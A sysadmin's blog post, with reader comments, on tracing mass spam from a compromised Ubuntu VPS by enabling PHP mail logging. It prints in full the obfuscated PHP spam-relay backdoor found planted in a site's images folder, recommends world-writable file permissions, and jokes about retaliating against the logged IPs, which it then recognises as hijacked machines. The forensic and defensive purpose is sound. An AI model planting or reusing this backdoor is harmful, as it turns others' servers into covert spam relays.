Finding the source of spam! And returning the favour.

Recently I had the honor to work on a highly infected Ubuntu server with tons of shell hacks and script backdoors.
Surprisingly they were copied over from an IIS hosted VPS onto a fresh Ubunto VPS... and all hell broke loose.

Suddenly the VPS IP got blacklisted across the baord and upon inspection about 100 thousand spam/bounce emails were sent a day for a few weeks.. WHAT? But my smtp is SSL and completer relay denied! How the hell did this happen?

Hours of going through postfix, dovecot, system logs, trying to trace the culprit.. I got to

Well that immediatelytold me that i was not creating spam via smtp hacks... it only left that one of the few hundred virtual sites hack some script running on it.. Which one? I analysed thousands of lines of logs.. and nothing special was revealed.

So fort some unknown to reason to human kind and the users of Linux, PHP.INI by default has not log file for its MAIL command. That really help people like me trace a problem.

Edit PHP.INI and search for the line mail.log, kindly uncomment it and add '/var/log/mail.form'

Goto var/log do a `touch mail.form` followed by `chmod 777 mail.form` to prepare the file for writting, give it a few minutes and the view the file

You will be presented with something like

mail() on [/home/vps_server/public_html/images/xmlrpclg4.php:2]: To: -- Headers: From: "Luke Becker"  MIME-Version: 1.0  Content-Type: text/html; charset="iso-8859-1"  Content-Transfer-Encoding: quoted-printable

Wow!  So whats inside xmlrpc4.php?

error_reporting(0); if (count($_POST) != 2) { die(PHP_OS . "10+" . md5(0987654321)); } $veb65c0b0 = array_keys($_POST); if ($veb65c0b0[0][0] == 'l') { $vd56b6998 = $veb65c0b0[0]; $v8d777f38 = $veb65c0b0[1]; } elseif ($veb65c0b0[0][0] == 'd') { $vd56b6998 = $veb65c0b0[1]; $v8d777f38 = $veb65c0b0[0]; } else { die(PHP_OS . "10+" . md5(0987654321)); } $v01b6e203 = stripslashes($_POST[$vd56b6998]); $v8d777f38 = stripslashes($_POST[$v8d777f38]); preg_match('|(.*)|imsU', $v8d777f38, $vee11cbb1); $vee11cbb1 = $vee11cbb1[1]; preg_match('|(.*)|imsU', $v8d777f38, $vb068931c); $vb068931c = $vb068931c[1]; preg_match('|(.*)|imsU', $v8d777f38, $vc34487c9); $vc34487c9 = $vc34487c9[1]; preg_match('|(.*)|imsU', $v8d777f38, $v6f4b5f42); $v6f4b5f42= $v6f4b5f42[1]; if (ne667da76($_SERVER['SERVER_NAME'])) { $v10497e3f = false; } else { if ($vb068931c != '') $vd98a07f8 = "$vb068931c "; $v0c83f57c = $vee11cbb1 . "@".preg_replace('/^www\./i','',$_SERVER['SERVER_NAME']); $vd98a07f8 .= "<$v0c83f57c>"; $v4340fd73 = "From: $vd98a07f8\r\n"; $v10497e3f = true; } if (((strtolower(@ini_get('safe_mode')) == 'on') || (strtolower(@ini_get('safe_mode')) == 'yes') || (strtolower(@ini_get('safe_mode')) == 'true') || (ini_get("safe_mode") == 1 ))) { $v10497e3f = false; } $v4340fd73 .= "MIME-Version: 1.0\r\n"; $v4340fd73 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"; $v4340fd73 .= "Content-Transfer-Encoding: quoted-printable\r\n"; $v6f4b5f42 = na73fa8bd($v6f4b5f42); if ($v10497e3f) { if (mail($v01b6e203, $vc34487c9, $v6f4b5f42, $v4340fd73, "-f$v0c83f57c")) echo "OK" . md5(1234567890); else die(PHP_OS . "20+" . md5(0987654321)); } else { if (mail($v01b6e203, $vc34487c9, $v6f4b5f42, $v4340fd73)) echo "OK" . md5(1234567890); else die(PHP_OS . "20+" . md5(0987654321)); } exit; function ne667da76($v957b527b){ return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b); } function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=\r\n", $v92f21a0f = 0, $v3303c65a = false) { $vf5a8e923 = strlen($vb45cffe0); $vb4a88417 = ''; for($v865c0c0b=0;$v865c0c0b<$vf5a8e923;$v865c0c0b++) { if ($v11a95b8a >= 75) { $v11a95b8a = $v92f21a0f; $vb4a88417 .= $v7fa1b685; } $v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]); if (($v4a8a08f0==0x3d) || ($v4a8a08f0>=0x80) || ($v4a8a08f0<0x20)) { if ((($v4a8a08f0==0x0A) || ($v4a8a08f0==0x0D)) && (!$v3303c65a)) { $vb4a88417.=chr($v4a8a08f0); $v11a95b8a = 0; continue; } $vb4a88417 .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT); $v11a95b8a += 3; continue; } $vb4a88417 .=chr($v4a8a08f0); $v11a95b8a++; } return $vb4a88417; } ?>

Some really neatly minized php code that somehow lets AJAX request send mail via this poor sods vps and banning your VPS IP.. well all i did was replace the minized php with my own script...


$myFile = "/tmp/ipLogger.txt";

$fh = fopen($myFile, 'a') or die("can't open file");
  fwrite($fh, date(DATE_RFC822) . ' IP: ' . $_SERVER['REMOTE_ADDR'] . PHP_EOL );

echo "Bang Bang... I shot you down!";


Create a file in the specidifed directory, chwon it to the same user/group as the other files in the dir and chmod it to 666

Now, you log the IP's that request to send some crap into this script.. what you do with the IP's.. Is up to you.. Add them to your life ban in iptables, send a few email with some log files to them.. or NUKE them your self now..

After analysing log for a week or so.. I cam to realise these IP addresses are hijacked computers.. of people who do not even know they are doing this.

This is a complex network of spammers that use multi-tiered hijacked computers to protect their identity.. but cause destruction and problems for everybody along the way...


Mike said…
Have you found what POST variables were send to this script? You could catch them via mod_security. It would help to prevent running such scripts in other locations because you could block those POST requests in mod_security.
Piotr Kula said…
Hi, no I did not think about that. I did find similar scripts in other places, managed to decode the script into sensible human readable code and realized that the variables are fairly dynamic..Umm, so kind of answering your question really, I worked it out that the scripts require post parameters of things like "A" and "B" with values of "1", "2" and then they inject their own code dynamically. Its so simple.. yet brutally dangerous.